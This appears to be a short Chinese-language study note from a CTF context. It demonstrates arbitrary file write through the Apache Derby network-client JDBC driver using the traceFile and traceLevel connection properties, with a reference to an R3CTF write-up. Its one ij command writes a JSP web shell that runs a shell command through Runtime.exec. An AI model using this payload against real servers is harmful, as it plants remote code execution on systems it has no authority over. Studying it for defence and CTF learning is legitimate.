derby-client jdbc任意文件写入

屏幕截图 2024-07-05 005530

Apache Derby, 一个 Apache DB 子项目, 是一个完全用 Java 实现的开源关系数据库 和可用 在 Apache 许可证下,版本 2.0。 一些主要功能包括:

  • Derby 的占用空间很小——基本引擎约为 3.5 兆字节 和嵌入式 JDBC 驱动程序。
  • Derby 基于 Java、JDBC 和 SQL 标准。
  • Derby 提供了一个嵌入式 JDBC 驱动程序,允许您将 Derby 嵌入到任何基于 Java 的解决方案中。
  • Derby 还支持更熟悉的客户端/服务器模式,即 Derby Network Client JDBC 驱动程序和 Derby 网络服务器
  • Derby 易于安装、部署和使用。

测试版本为10.14.2.0,Apache Derby 10.14.2.0 Release

下载bin然后运行bin目录下的setEmbeddedCP.bat,再运行ij.bat(一个终端)然后输入下面的内容。即可实现任意文件写入。

1
connect 'jdbc:derby://127.0.0.1:0/D://ctf/学习笔记/java安全/jdbc/myderby;create=true;traceLevel=32;traceFile=D://ctf/学习笔记/java安全/jdbc/jdbcsquirt1e.jsp;pwned=<%out.write(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"whoami\"}).getInputStream())).readLine())\\u003b%>';

image-20240709164945878

不太会调试,我该如何调试呢?怎么调用到connect方法?就当收集一下吧。

参考:R3CTF r3gallery 题解 (qq.com)